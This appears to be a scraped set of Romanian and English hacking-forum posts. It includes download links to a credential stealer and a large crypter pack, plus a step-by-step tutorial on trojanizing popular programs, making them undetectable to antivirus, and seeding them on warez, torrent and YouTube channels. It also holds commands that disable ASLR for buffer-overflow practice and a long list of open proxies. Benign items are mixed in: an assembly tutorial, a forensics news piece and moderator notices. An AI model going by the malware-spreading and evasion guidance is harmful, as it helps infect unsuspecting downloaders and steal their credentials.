Nytro

Steals: Firefox 3.x MSN +8.x IE 7.x Filezilla Download: http://www.2shared.com/file/7104013/2a6325a0/SeabraStealer01.html

Repet: Nu garantez ca nu sunt infectate. De fapt chiar banuiesc ca unele sunt infectate. In plus cred ca sunt foarte slabe sanse sa gasiti ceva care sa functioneze bine.

Sa vad ce reusesc, mai intai vreau sa termin un tutorial de care m-am apucat, dar cred ca va dura ceva. Apoi va ajut cu orice, nu e nevoie sa fiu membru, nu ma ocup cu asa ceva, dar daca va pot ajuta va ajut cu placere.

http://bahoi.ro/?p=139

Uploadati fisierele pe un host, setati permisiunile folderului in care se afla la 777, intrati pe pagina HTML, apasati taste la intamplare, apoi vedeti in acel folder daca s-a creat un fisier cu IP-ul vostru.

Daca nu vrei ban si pe acesta, uita-te la data ultimului post inainte de a posta.

Spreading By: Beaver What Is Spreading? Spreading Is The Way Your Program/Trojan/ETC Circulates Around The Internet. This Means That People At Some Point People Spread It For. This Is Your Goal, To Put Something Out There That Is Not Wide Spread And Is Hard To Find. It Is All About Finding That Niche (A Targeted Group Of People, Like Gamers) That Want Something, But Do Not Have It Yet. When This Is Done, People Will Download It And Put It On Their Site For Download or Put It On A Torrent. Getting Started 1. Finding The Right Program This Will Be The Hardest Part. Finding Out What Is Wanted At A Certain Point In Time Is Hard. Find Out What Niche You Want To Go After, For Example If You Are Going After Gamers, But Not Just Gamers, Let’s Say Gamers That Use Steam. You Have A Couple Of Options. One Is You Can Look Around The Net That Will Focus Directly On Steam Gamers (Screen Recorders, Voice Changers, etc.). Another Is You Can Make Your Own Program; This Will Insure That There Is Nothing Else Like It, But Make Sure That The Program Is Useful And It Works. After You Think You Have Found The Right Program, Upload It To Some Warez (Media Sharing) Sites, Like Warez-BB.org And Some Torrent (Peer-To-Peer Sharing) Sites, Like ThePirateBay.org To See How Many Downloads You Can Get In A Day. If The Number Is Below 25 Try Another Program. While 25 Is Decent Number For Beginners, It Is Just Not Enough To Make A Big Impact On The Net. Stay Away From Large Programs (Over 75 MB). 2. Infecting The Program This Will Either Require Money Or Programming Knowledge. If You Choose To Infect The Program That You Found You Make Sure What Ever You Are Infecting It From Is FUD (Fully Undetectable To Anti-Virus Software). To Achieve This You Will Need A Crypter (A Program That Changes The Programs Code To Make It Look It Different When Scanned By Anti – Virus Software). You Can Either Learn To Code One Of These, Which Is The Cheaper Way, But Is Time Consuming Or You Can Buy One From Many Of The Hacking Forums Out There, Like Ukn0wn.ws. They Can Cost Anywhere From $25 To $80. After You Infect The Program Run It Through The Crpyter To Make It FUD. Where To Spread? This Is The Big Question. Knowing Where To Spread You Just Have To Go With Your Instinct, But Below You Will Find A List Of Sites And Site Types I Found Useful In My Spreading. • Warez Sites o Http://www.warez-bb.org o Http://www.Project-W.org o Bookmark Any Warez Sites You Come Across • Torrents o Http://www.ThePirateBay.org o Http://www.MiniNova.org o Http://www.Demonoid.com o Private Torrent Sites Are The Best, Because People Are Trustworthy On There • Forums (Based On Your Niche) o I Cannot Post Any Links, Because Depending On What Type Of Niche You Chose You Will Need To Find Those Types Of Forums. • Youtube o Make A Short Video, No More Than 30 Seconds That Has The Description (Read On That Below). Make Sure To Have Appropriate Music. After The Video Is Uploaded And Processed Submit The URL To Things Like StumbleUpon (Link Sharing) And Digg.com (Social News Site). What Do I Put? The Description Is Where It Makes Or Breaks Your Spreading. Make Sure You Always Use The Same Description. This Allows Easy Copy/Paste For The People That Will Post The Program Elsewhere. • Take At Least 1 Screen Shot Of The Program. Upload That To A Good Image Hosting Site, Like ww.TinyPic.com • Choose A Good File Host Where You Can Track The Number Of Downloads You Are Getting. If You Use Rapidshare.com Then Get A Legit Account. I Use Free Online Storage - File Qube, It Is Free And It Tracks Page Views and Downloads, And It Accepts A Lot Of File Types. • Write Out A Well Thought Out Description That Talks About How The Program Works, What The Features Are, ETC. • When Your Infected Is FUD, Upload It To NoVirusThanks - Free Online Virus & Malware Scan Service Making Sure To Check “Do Not Distribute The Sample”. This Site Scans Your File With All Of The Major Anti – Virus Software. That Check Box Makes Sure They Do Not Send Their Findings To The Anti- Virus Companies, This Means Your Program Will Stay FUD Longer. After It Is Done Grab The BB Code And HTML Code. • Keep Your Descriptions For Later Use. Keep The Description, One For Forums/Warez Sites That Has The NoVirusThanks BB Code, Download Link For Your Program, And The Links Or BB Code For Your Screen Shot(s) And One For Sites That Don’t Use BB Code, That Has The HTML Code From NoVirusThanks, Download Link For Your Program, And The Links Or BB Code For Your Screen Shot(s). Syndication Syndication Means That Others That Have Downloaded Your Program Are Posting It On Other Sites For You. This Means That Your Spreading Has Been A Major Success And You Should Be Happy. This Means You Do Not Have To Try As Hard To Get Download, Because Others Are Doing The Spreading For You. This Has Been A Beaver Tutorial. If You Want To Post This On Other Site Please Leave The Following. Written By Beaver For… http://www.Beaver.WS uNkn0wn.ws - Index page

RAR 1 01 - DarkAvengard Crypter (Open source Code Crypter > p0ke >> Moded) 02 - h4ck-y0u.org crypter by DuSTY 03 - L0rD Crypter by haZl0oh 04 - AT4RE aSm Protecter 1.0 by Mouradpr 05 - AverCryptor 1.02 beta by os1r1s 06 - Cryptic 2.1 by Tughack 07 - Crew Crypter by North-Team 08 - Mortal Team Crypter 2.0 by Ras 09 - NOmeR1 by NOmeR1 and P.S. 10 - Poly! Crypt 2.8 by BUNG 11 - PowerCrypt 2.0 by N47RON 12 - Private Krypt 1.0 beta by t0pP8uZz 13 - PE Protector 0.9.2 CRYPToCRACK's by Lukas Fleischer 14 - Russian Cryptor 1.0 by master3 15 - SimbiOZ 2.1 by Extranger 16 - Snoop Crypt by snoop 17 - Zelda Crypt by snoop 18 - WinOfCrypt 1.0 by DarkPressure 19 - X-Crypter 1.2 Security-Bypass Version mod by Mareek 20 - X-Crypter 1.2 Private Version by x-zer0 RAR 2 01 - Break-Into-Pattern, a.k.a BIP, v.0.1 by Icingtaupe (ASM source) 02 - Crypter v.3.1 by SLESH 2007 (Delphi source) 03 - FFC v.1.6 Public by Juza 04 - File Crypter Pro by Aphex (Delphi source) 05 - GKrpto v.1.0 by User-99 06 - Open Source Code Crypter v.1.0 by p0ke (Delphi source) 07 - Open source file crypter (ass crypter) by assoftware (Delphi source) 08 - Pecrypt by archphase (Delphi source) 09 - Pscrambler v.1.2 by p0ke (Delphi source) 10 - Smokes Crypter v1.2 (Delphi source) 11 - Cigicigi File Crypter v1.0 by turkojan 12 - iPBProtect v0.1.5 beta [****] by Forgat 13 - MaskPE v.2.0 by yzkzero 14 - PEncrypt v.4.0 by JunkCode 15 - Perplex v.1.01dev by BliZZaRD 16 - SkD Undetectabler 2.0beta by skdrat 17 - ExeSax v.0.9.1 GUI 18 - VB-PE-Crypt 1.0 by Flo 19 - UnderGround Crypter v.1.0 by Booster2ooo 20 - Daemon Crypt v.2 Public by Evil_Inside RAR 3 01 - SCE v.0.5 (Silly Chr Encrypter) by sevenC 02 - SSE v.0.5 (Simple Streverse Encryption) by sevenC 03 - Vbsencrypter v.0.01 by K 04 - File Crypter by valdir_salguei ro (from brasil - source code included) 05 - RCryptor by Vaska - included versions 1.1+1.3+1.3b+1.4+1.5+1.6b+1.6d 06 - iNF[CRYPT] by LESHIY & [nht] 07 - CryptoFilez v.2.0 by Mr.Ded 08 - Morphnah Beta2 by pyccxak.com Kas 09 - Pohernah v.1.0.2 by pyccxak.com Kas 10 - Pohernah v.1.0.3 by pyccxak.com Kas 11 - RPolyCrypt v.1.0b by Vasca 12 - StrAnGe CrYpTeR by TiPiaX (source code included) 13 - DalKrypt v1.0 by DalKiT (source code included) 14 - fEaRz Crypter v.1.0 beta1 by fEaRz 15 - Icrypt v.1.0 by BuGGz 16 - Minke v.1.0.1 by Codius 17 - Scramble Tool v0.2.3b By System33r (k0nsl) 18 - USC by p0ke - included versions 1.2D+2.1+2.1.1+Patch for 2.1.1 19 - NoodleCrypt 2 by NoodleSpa 20 - Werus Crypter v.1.0 Public version by pyccxak.com Kas All: Download: http://rs222.rapidshare.com/files/94316443/PackCrypters.rar

Ma mai gandesc. Cum ar fi daca in loc sa posteze cineva un program ar scrie: "Daca il vrea cineva sa imi dea add la plm_hackeru" sau ceva de genul? In fine, asta voi decide in functie de situatie.

Detalii? Spammer pe messenger? Sa trimita multe mesaje, sau sa te loghezi si sa dea mass, ceva de genul? Sau un fel de booter?

Ok guys im sure some people will agree with me here.These 3 tuts are by far the best i have ever seen on how to make whatever it is your trying ud undetected by quite a few av's. If you combine these techniques and learn how to do them correctly you could possibly make a program near fud or fud. Anyways these 3 tuts helped me allot and i thought id share them They also explain to you what to do very clearly and have links to the tools you need and also have pictures showing you what to do. So it isn't just any nooby tuts its professional ones The credits are at the beginning of the tuts when you open them. Please note that if anyone needs help with any of the tuts or don't understand some bits please just post it up and il get back to you as soon as possible Credits to Icarus Download: http://www.2shared.com/file/7090483/b58610b6/Pack.html

Assembly Language Basics Tutorial ------------------------------------- By Aro *Intro: Hey it's Aro and this is my first tutorial. In this basic assembly tutorial shows basics things you need to know. I had this Idea that there is other people like me who are still learning and want someone to learn with to I made this tutorial for people to learn along with me so we can all spread information. If anyone who knows about assembly please correct if there is anything wrong in my tutorial. I need feedback it will let me know what I need to do to be better. Hope you like it Aro. This tutorial contains the following information: *System Organization Basics *CPU *CPU Registers *Stack System Organization Basics: -------------------------------------------------------------------------------------------------- CPU (aka Central Processing Unit): ------------------------------------------------------------------------------------------------------ *Control Unit: Retrieve/Decode instructions,Retrieve / Storeage data in memory. *Execution Unit: Acually Exectution of instruction. *Register: Internal memory locations used as variables. *Flags: Used to indicate various "event" when exectution is happening. CPU Registers: ------------------------------------------------------------------------------------------------------------------------------------------------- Registers are internal memory locations used as variables. A register is 32 bits long or 4 bytes there are 8 registers. EAX, EBX, ECX, EDX, ESI, EDI, ESP, and EBP. The "E" in the beginning of all the registers indicates that it is a 32 bit register. General Purpose Registers -------------------------------------------------------------------------------------- *EAX (Accumulator Register) : General used for storing operands and result data *EBX (Base Register): Used for storing pointers to data. Only register that can be used as an index *ECX (Counter Register): Used for loop operations. *EDX (Data Register): Used as a input outup pointer. *ESI, EDI (Pointer)- Data Pointer Registers from memory operations, generally used for string operations. *ESP (Pointer): Stack Pointer Register. *EBP (Pointer): Stack Data Pointer Register. 32 bit registers can be split into 16 bit. In 16 bit programs only the lowest bits of the registers are used. They have the same names as general registers but without the "E" example: AX, EX, CX, DX, SI, DI, SP, BP. The 16 bit register can be spit into highbyte and lowbyte. example: EAX is 32 bit, AX is the lowest 16 bit of EAX and then the AX could be split into AH (highbyte) and AL (lowbyte) which are one byte in size. Segment Registers -------------------------------------------------------------------------------------- *CS (Code segment) - 16 bit number that points to a active code-segment *DS (Data segment) - 16 bit number that points to a active data-segment *SS (Stack segment - 16 bit number that points to a active stack-segment *ES (Extra segment) - 16 bit number that points to a active extra segment *EIP (32 bit intruction pointer) points to the instruction being done. *A control register is a processor register which changes or controls the general behavior of a CPU or other digital device. Common tasks performed by control registers include interrupt control, switching the addressing mode, paging control, and coprocessor control. Check http://en.wikipedia.org/wiki/Control_register for more information. Virtual Memory Model: Every process is laid out in the same virtual memory space, it doesn't matter what the the actual memory location. Every process that runs in the system seems like its running independently. There is a security feature in Linux 2.6 and higher that's called "randomize_va_space" this feature protects against Buffer Overflows. randomize_va_space uses space randomization if enabled to 1 (true), which is default to disable it change it to 0 (false). This will be helpful to practice on buffer overflows. If you have windows don't do this though I recommend you to get Linux such as Ubuntu (even a live CD) it would help if you really want to get good at this. But if you want to get a dissembler get NASM for windows. To disable the linux patch(Only do the stuff above if you want or going to practice doing buffer overflow attacks): cat/proc/sys/kernel/randomize_va_space echo 0 > /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space Only do the stuff above if you want or going to practice doing buffer overflow attacks.^^^ Program Memory: -------------------------------------------------------------------------------------------- *The first segment is the .text segment. This segment cotains the actual program the execuable instructions are located here. *The second segment is the .data. This is where any data that has been initalized with a value is held. example: .data Int32: .int 2 *The third segment is the .bss. This is where unused data is held. example: .bss .comm Buffer, 1024 *The third segment is the heap. The heap is where the virtual memory space is located. *The fourth segment is just unused memory. *The firth segment is the Stack which is general used for storing function arguments and local variables. The stack is located in the highest memory location possible. It general goes down the memory from highest to lowest memory. The stack is last in first out data structure otherwise know as a LIFO (Last in First Out). The Stack ------------------------------------------------------------------------------------------------------------------------- As I said before. A stack is a temporary storage unit in computer memory where function arguments and local variables are stored. The LIFO Principle is last value you put in the first it comes out. Just imagine you have a stack of papers when I wanted my teach to correct my test first I would wait until everybody finished so when I put in my test on her desk I can sneak a peek on my score or how many red marks are on my test when she starts correcting it when we walk out of class. When you PUSH two values on the stack you will get the last one first because of that method. PUSH - pushes value on stack POP - removes from stack ESP - Points to stack Example of LIFO Principle REMEMBER MUST KNOW LIFO: Right here is a example of a stack. The ESP register holds 0x000008 which is the top of the stack. example: ESP 0x0000008 The stack adds a new value (0x0000007) and (0x0000006) using the PUSH operation. example: PUSH 0x0000007 PUSH 0x0000006 Now we update the ESP pointer to the top of the stack to the address 0x00000006. example: ESP 0x0000006 Now we use the POP operation to take that value of the stack. Which removes that last operation put into the stack (LIFO REMEMBER). example: POP 0x00000006 Next we have to update the ESP pointer to value 0x0000007. example: ESP 0x00000007 Next we have to POP the last first value we put in off the stack. (LIFO) example: POP 0x00000007 Finally we update the ESP pointer register to the top of the stack. example: ESP 0x0000008 Now I hope you understand the LIFO Principle if you don't, leave a question. Or Google.com its the best hacking site. If you don't understand or I explained something wrong leave a message. Someone who knows Assembly or I will hopefully answer. I'll write part two later. Please leave feed back good or bad. I don't care. I need to get better. Assembly Language Basics Tutorial Aro Out

E-Book Table of Contents [Abstract]...........................................................................................................................3 [Introduction].....................................................................................................................3 [Obtaining Information Using Error Messages].................................................................7 [Leveraging Further Access].............................................................................................12 [xp_cmdshell]...............................................................................................................12 [xp_regread]..................................................................................................................13 [Other Extended Stored Procedures]............................................................................13 [Linked Servers]............................................................................................................14 [Custom extended stored procedures]...........................................................................14 [Importing text files into tables]...................................................................................15 [Creating Text Files using BCP]...................................................................................15 [ActiveX automation scripts in SQL Server]................................................................15 [Stored Procedures]...........................................................................................................17 [Advanced SQL Injection]................................................................................................18 [Strings without quotes]................................................................................................18 [Second-Order SQL Injection]......................................................................................18 [Length Limits].............................................................................................................20 [Audit Evasion].............................................................................................................21 [Defences]........................................................................................................................21 [Input Validation]..........................................................................................................21 [SQL Server Lockdown]...............................................................................................23 [References].....................................................................................................................24 Appendix A - 'SQLCrack'.................................................................................................25 (sqlcrack.sql).................................................................................................................25 Download: http://www.ngssoftware.com/papers/advanced_sql_injection.pdf

Researchers will release an open source tool at Black Hat USA that helps forensics investigators reconstruct attacks that use a popular Metasploit payload to covers its tracks. Mandiant's Steve Davis and Peter Silberman have developed an "anti-" anti-forensics tool, of sorts, tentatively called the Metasploit Forensics Framework, which they'll demonstrate at the security conference later this month. The tool is aimed at unmasking what Metasploit's stealthy Meterpreter (PDF) did on a machine. Meterpreter lets developers write code in DLL files and execute everything in memory -- without writing anything to the victim machine's disk, where it could be detected and, in turn, complicate incident response. Meterpreter can be used to download and upload files, execute code, and open its own command shell, the researchers say. Their new tool can tell if a Meterpreter packet is still in memory, and, if so, which files Meterpreter has accessed, and whether it has modified a registry key. Some traditional antivirus tools can't detect Meterpreter-borne attacks because they never hit the disk, the researchers say. "You wouldn't see the attacks happen if they didn't write anything to disk," says Steve Davis, one of the researchers and a consultant with Mandiant. "We are going to show how we can reconstruct a crime scene in memory." The Metasploit Forensics Framework is a proof-of-concept tool that scans the processes in memory. "Meterpreter has unique packets...and we can identify those and reconstruct its processes," says Peter Silberman, an engineer on the product team at Mandiant. "We're going to discuss how Meterpreter looks in memory, and how it's able to circumvent traditional tools [for forensics]. We'll demonstrate how with some advanced knowledge, you can reconstruct what commands were sent to Meterpreter and perform an autopsy on an attack." Memory analysis in forensics has only begun to catch on tool-wise in the past year or so, the researchers say. Their tool helps investigators pull useful information from memory to help in their forensics work, they say. "This is just a small research project in how freed memory can still pull out a lot of useful information on the commands [an attacker] used," for example, Silberman says. The researchers say they fully expect the Metasploit developers to come up with a workaround for their tool in short order once it's released. They plan to make the tool available on Mandiant's Website the day of their Black Hat presentation so attendees can experiment with it during their talk, they say.

O sa ajungi un criminal... Ban!

Pot face eu un tool ceva, numai sa imi dati idei. A, si sa nu fie mult de munca la el, ma plictisesc repede.

Cat am mai cautat dupa unul functional... Cred ca merge bine. Download: http://www.freeproxy.ru/download/P_Checker.exe

Daca e cel care il stiu eu, nu imi place. Adica e veche faza cu macrourile. Si in 95% din cazuri nu o sa mearga. S-ar putea face multe daca ar merge...

Voi reincepe campania cu warningurile. Veti primi warning daca: - inviati un topic vechi fara rost - Uitati-va si voi la data ultimului post - postati ID-ul vostru - Discutiile se poarta pe forum - postat in categorii gresite - Ganditi putin inainte de a deschide un topic si selectati categoria potrivita. Toate cererile sunt la CERERI, nu la Programe Hack sau altundeva. De asemenea vechile motive pentru avertismente se pastreaza, in special offtopicul. La 3 warnuri ban o saptamana, depinde de starea in care ma aflu. Nu va convine ceva va dati cu curu de pamant.

Ban. Uitate la datele ultimelor posturi.

Download: http://www.2shared.com/file/7084370/1c5af5a1/BOF.html

114.127.246.36:8080 116.93.16.20:8080 118.40.95.240:3128 118.98.32.34:80 119.167.225.136:8080 121.163.166.63:8080 121.96.179.27:8080 124.207.168.48:808 125.141.225.11:3128 138.69.167.245:80 142.217.191.188:8080 146.83.8.31:8080 151.96.0.210:80 157.100.103.106:80 173.8.154.173:80 174.142.104.57:3128 174.143.236.197:80 187.5.20.236:6588 189.11.11.242:3128 189.14.68.130:6588 189.39.241.34:6588 189.42.253.18:6588 189.80.205.130:80 190.102.206.48:8080 190.216.31.219:8080 190.254.198.234:6588 192.192.169.234:80 193.109.167.174:3128 193.171.32.6:80 193.188.70.3:8080 193.252.53.103:80 194.100.9.12:80 194.224.243.11:80 194.44.144.2:80 194.44.144.3:80 195.139.235.200:80 195.154.158.18:80 195.155.232.37:2020 195.209.224.91:3128 195.220.226.230:80 195.229.62.157:8080 195.68.63.147:80 195.7.100.44:8080 196.12.36.225:80 196.44.187.21:80 200.107.15.58:80 200.124.202.96:8080 200.175.16.150:8080 200.201.193.156:80 200.204.62.49:6588 200.43.221.66:80 200.43.221.67:80 200.43.221.68:80 200.49.211.8:3128 200.55.208.203:80 200.65.127.161:3128 200.65.127.161:8083 200.74.156.108:8080 201.15.232.96:8080 201.17.162.45:8080 201.225.226.68:8080 201.243.184.186:8080 201.25.223.115:8000 201.36.173.80:6588 201.83.221.229:8080 202.143.155.44:80 202.3.217.125:8080 202.44.4.85:8081 202.54.61.99:8080 202.6.224.83:80 202.99.29.27:80 203.128.243.207:80 203.131.160.19:85 203.157.169.10:80 203.162.112.111:80 203.162.112.189:80 203.162.112.55:80 203.241.192.211:9090 203.67.172.47:8080 203.77.193.180:6588 206.219.83.3:80 206.230.106.206:80 207.216.60.69:9090 207.248.228.166:80 208.106.250.202:80 208.53.196.128:9090 208.96.213.149:80 209.123.56.110:80 209.47.251.243:80 210.155.201.169:8080 210.212.130.54:8090 210.5.71.130:8080 210.52.58.51:80 211.113.141.246:8080 211.138.198.7:10917 211.162.78.178:80 211.90.22.106:8088 212.102.0.104:80 212.103.139.75:80 212.116.137.248:3128 212.117.166.26:8125 212.138.84.62:8080 212.26.15.61:80 213.197.183.254:81 217.114.3.220:8080 217.117.111.230:81 217.160.106.224:80 217.218.98.1:80 217.73.17.173:80 217.97.150.119:8080 218.108.44.170:808 218.123.236.21:8080 218.182.86.20:8080 218.75.23.110:3128 218.75.75.133:80 219.101.104.30:8080 219.64.195.182:6588 219.94.142.25:80 220.118.81.84:3128 220.15.224.27:8080 220.28.176.137:8080 220.40.60.59:8080 221.120.211.2:8080 221.131.124.22:80 221.133.117.131:8000 221.204.253.154:8088 221.215.72.218:8080 222.215.23.110:80 222.242.188.170:8080 222.252.240.14:8080 222.41.10.70:1337 222.68.207.11:80 24.117.107.217:8085 24.127.136.205:9090 24.131.50.28:8085 24.174.245.45:8085 24.186.142.255:8085 24.186.144.126:8085 24.187.120.237:8085 24.187.13.217:8085 24.190.108.167:8085 24.190.229.111:8085 24.191.64.208:8085 24.213.104.62:9090 24.23.98.38:9090 24.34.60.207:9090 24.4.223.134:9090 24.45.120.136:8085 24.5.10.141:9090 24.90.159.67:8085 41.208.111.211:8080 58.30.227.5:3128 58.63.109.66:8080 59.159.236.8:80 59.162.33.158:8080 59.51.9.69:80 59.7.91.227:8080 59.77.6.183:808 60.18.168.172:8080 60.208.64.177:8088 60.49.225.107:8080 61.134.43.24:808 61.191.57.40:808 61.89.166.246:8080 62.159.143.172:80 62.212.83.40:80 62.217.43.115:8080 62.48.70.198:80 62.48.77.11:80 63.241.168.215:80 63.247.140.101:3128 64.188.199.135:9090 64.29.148.15:80 64.29.148.17:80 64.29.148.18:80 64.29.148.19:80 64.29.148.30:80 64.29.148.36:80 64.29.148.37:80 64.29.148.40:80 64.29.148.46:80 64.29.148.47:80 64.29.148.49:80 64.29.148.50:80 64.58.164.148:9090 64.94.90.22:80 65.188.251.247:9090 66.168.253.180:6588 66.176.214.64:8085 66.25.155.74:8085 67.175.133.15:9090 67.175.182.66:8085 67.202.13.157:8080 67.82.243.169:8085 67.86.193.238:8085 68.105.41.151:8085 68.12.200.120:9090 68.198.252.19:9090 68.35.192.87:8085 68.49.230.120:8085 68.60.169.74:8085 69.112.97.79:8085 69.114.251.90:8085 69.116.154.39:8085 69.116.204.103:8085 69.120.155.145:8085 69.120.194.149:8085 69.124.169.255:8085 69.125.36.135:8085 69.13.197.165:80 69.7.105.30:8080 70.117.246.169:8085 70.119.22.24:8085 70.119.52.5:8085 70.122.126.102:8085 70.125.105.1:8085 70.172.242.142:8085 70.172.252.133:9090 70.186.168.50:8085 70.189.133.202:8085 70.64.143.77:9090 70.64.147.32:8085 71.202.143.10:9090 71.229.43.217:8085 71.62.242.35:8085 72.167.113.31:80 72.167.181.9:80 72.183.10.174:9090 72.213.34.248:8085 72.29.94.55:80 74.192.158.221:9090 74.192.185.103:9090 74.194.62.39:9090 74.206.98.202:8080 75.101.188.125:80 75.125.212.61:8888 75.145.241.73:8080 75.183.58.26:8085 75.66.49.218:9090 75.93.151.23:9090 76.107.141.133:9090 76.111.54.219:9090 77.221.99.10:80 77.246.52.118:8080 77.37.132.88:8080 77.88.66.251:8000 77.93.197.83:80 78.187.19.95:8088 78.188.40.30:80 78.41.103.43:3128 79.160.177.10:8080 80.253.57.9:3128 80.94.82.55:1025 81.180.75.142:8080 82.145.197.249:8080 82.79.32.244:3128 83.161.199.75:80 83.242.184.210:3128 85.214.113.101:1113 85.249.168.94:3128 85.249.33.2:3128 85.93.134.139:8080 87.232.72.222:80 88.200.224.246:3128 88.208.219.155:8080 88.41.111.190:8080 88.87.129.118:8000 88.87.129.71:8000 89.212.135.232:9090 89.222.221.123:8080 89.96.143.130:8080 89.96.169.141:80 91.121.3.29:9090 91.121.85.162:80 91.200.235.231:3128 91.201.73.229:80 94.23.50.9:80 96.19.237.145:9090 98.129.203.119:80 98.156.116.192:8085 98.170.233.96:8085 98.181.57.227:9090 98.183.12.251:8085 98.216.226.252:8085 98.221.16.26:9090 98.222.175.19:8085 98.226.247.62:8085 98.227.14.54:9090 98.237.188.30:9090 98.243.16.115:8085 99.237.246.205:8085 99.250.211.177:9090 113.253.14.210:808 114.127.246.36:8080 116.93.16.20:8080 117.22.228.82:8080 119.167.225.136:8080 120.50.177.166:8080 121.8.191.34:3128 124.128.62.162:1080 124.207.102.87:80 124.207.168.48:808 124.82.221.194:8080 128.112.139.28:3127 128.213.48.25:80 128.42.142.41:3124 140.134.131.109:9797 142.217.191.188:8080 146.83.8.31:8080 151.96.0.210:80 168.10.168.61:80 174.142.104.57:3128 174.143.236.197:80 187.5.20.236:6588 189.19.35.194:6588 189.42.253.18:6588 189.43.254.194:6588 189.89.71.116:6588 190.102.206.48:8080 190.153.90.114:80 190.158.230.39:80 190.254.198.234:6588 192.192.169.234:80 193.109.167.174:3128 193.188.70.3:8080 193.220.51.25:3128 193.28.46.52:80 194.108.93.13:8080 194.108.93.14:8080 194.44.144.3:80 194.63.181.181:80 195.139.235.200:80 195.154.158.18:80 195.209.224.91:3128 195.220.226.230:80 195.229.62.157:8080 196.12.36.225:80 196.44.187.21:80 199.193.13.202:80 200.107.15.58:80 200.129.25.3:8080 200.153.113.34:8080 200.161.44.243:6588 200.171.232.140:6588 200.175.16.150:8080 200.201.193.156:80 200.232.115.145:3128 200.31.42.3:80 200.49.211.8:3128 200.51.203.200:80 200.65.127.161:3128 200.65.127.161:8083 201.17.162.45:8080 201.201.188.214:80 201.225.226.68:8080 201.25.223.115:8000 201.27.18.138:6588 201.92.253.33:3128 202.103.207.224:808 202.143.155.44:80 202.171.42.7:3128 202.213.246.61:80 202.3.217.125:8080 202.44.4.85:8081 202.54.61.99:8080 202.6.224.83:80 202.70.249.65:8080 202.99.29.27:80 203.110.245.250:80 203.157.169.10:80 203.162.112.51:80 203.162.112.75:80 203.186.108.130:65208 203.241.192.211:9090 203.89.25.61:80 204.131.46.200:8000 206.219.83.3:80 206.230.106.206:80 206.64.92.16:8000 207.192.227.94:8085 207.216.60.69:9090 207.248.228.166:80 208.106.250.202:80 208.96.213.149:80 209.47.251.243:80 210.155.201.169:8080 210.194.111.107:8080 210.212.130.54:8090 210.5.71.130:8080 210.52.58.51:80 210.6.251.216:808 211.113.141.246:8080 211.141.86.152:8080 211.90.22.106:8088 212.102.0.104:80 212.103.139.75:80 212.116.137.248:3128 212.138.84.62:8080 212.26.15.61:80 213.137.131.251:8080 213.195.224.169:3128 213.197.183.254:81 213.47.49.99:9090 213.61.56.178:80 213.82.91.94:80 216.157.74.73:80 217.160.106.224:80 217.218.98.1:80 217.218.98.3:80 218.108.44.170:808 218.111.102.66:3128 218.127.146.36:8080 218.204.251.131:8090 218.216.201.45:8080 218.252.41.203:80 218.75.75.133:80 219.131.223.122:3128 219.198.208.140:8080 219.58.72.191:8080 219.94.142.25:80 220.128.122.187:80 220.15.224.27:8080 220.19.164.19:8080 220.40.60.59:8080 220.66.203.5:80 221.116.142.90:80 221.12.147.80:808 221.120.211.2:8080 221.204.253.154:8088 221.214.27.252:808 221.215.72.218:8080 222.252.240.14:8080 222.68.206.11:80 222.68.207.11:80 24.1.162.44:9090 24.11.22.240:9090 24.117.107.217:8085 24.118.114.115:8085 24.12.99.61:9090 24.127.136.205:9090 24.131.50.28:8085 24.186.142.255:8085 24.186.144.126:8085 24.187.13.217:8085 24.190.108.167:8085 24.190.229.111:8085 24.191.64.208:8085 24.208.255.189:8085 24.213.104.62:9090 24.23.98.38:9090 24.34.60.207:9090 24.4.223.134:9090 24.45.120.136:8085 24.5.10.141:9090 24.92.73.109:9090 41.208.111.211:8080 58.211.212.78:808 59.162.33.158:8080 59.7.91.227:8080 59.77.6.183:808 60.208.64.177:8088 60.208.64.178:8088 60.247.2.241:8080 61.135.227.67:80 61.159.214.215:808 62.175.249.249:80 62.175.249.254:80 62.212.83.40:80 62.48.70.198:80 62.48.70.220:80 62.48.77.11:80 62.49.191.253:80 63.241.168.215:80 64.130.166.208:8085 64.201.65.21:8080 64.29.148.18:80 64.29.148.19:80 64.29.148.20:80 64.29.148.28:80 64.29.148.30:80 64.29.148.36:80 64.29.148.40:80 64.29.148.46:80 64.29.148.47:80 64.29.148.49:80 64.29.148.50:80 64.94.90.22:80 65.28.80.48:9090 65.65.219.98:29122 66.166.1.181:8000 66.168.20.67:8085 66.168.253.180:6588 66.199.247.42:6649 66.25.155.74:8085 66.25.162.152:8085 66.31.202.132:8085 66.55.8.51:13401 67.164.198.58:9090 67.166.225.236:8085 67.175.182.66:8085 67.184.220.218:8085 67.48.22.73:9090 67.81.234.34:8085 67.82.243.169:8085 68.103.16.107:9090 68.105.41.151:8085 68.11.182.111:9090 68.198.252.19:9090 68.38.209.46:9090 68.49.230.120:8085 68.60.169.74:8085 68.83.4.74:8080 69.112.167.111:8085 69.112.97.79:8085 69.114.251.90:8085 69.116.204.103:8085 69.120.155.145:8085 69.121.252.197:8085 69.124.169.255:8085 69.125.36.135:8085 69.13.197.165:80 69.7.105.30:8080 70.119.22.24:8085 70.125.105.1:8085 70.172.242.142:8085 70.186.166.112:8085 70.186.168.50:8085 70.189.133.202:8085 70.64.143.77:9090 70.64.147.32:8085 70.81.89.225:8008 71.192.196.210:9090 71.229.43.217:8085 71.62.242.35:8085 72.167.113.31:80 72.167.181.9:80 72.174.104.69:8080 72.183.10.174:9090 72.214.91.6:8008 74.206.98.202:8080 75.101.188.125:80 75.145.241.73:8080 75.66.26.190:9090 76.111.54.219:9090 76.120.225.210:9090 76.169.165.101:9090 77.101.6.178:9090 77.104.223.169:8080 77.221.99.10:80 77.246.52.118:8080 77.88.66.251:8000 78.188.40.30:80 79.160.177.10:8080 80.240.203.122:8080 80.25.23.207:8080 80.253.57.9:3128 80.6.61.196:9090 80.93.119.6:80 81.180.75.142:8080 82.145.197.249:8080 82.150.165.146:8080 82.79.32.244:3128 83.161.199.75:80 83.242.184.210:3128 83.96.39.196:80 84.253.13.230:3128 85.141.21.74:3128 85.214.113.101:1113 85.93.134.139:8080 88.191.17.209:443 88.41.111.190:8080 88.87.129.71:8000 89.222.221.123:8080 89.96.169.141:80 91.112.157.214:8080 91.121.85.162:80 91.200.235.231:3128 96.19.237.145:9090 97.74.115.75:80 98.129.203.119:80 98.156.116.192:8085 98.183.12.251:8085 98.221.16.26:9090 98.239.51.193:80 98.243.16.115:8085 98.251.71.196:9090

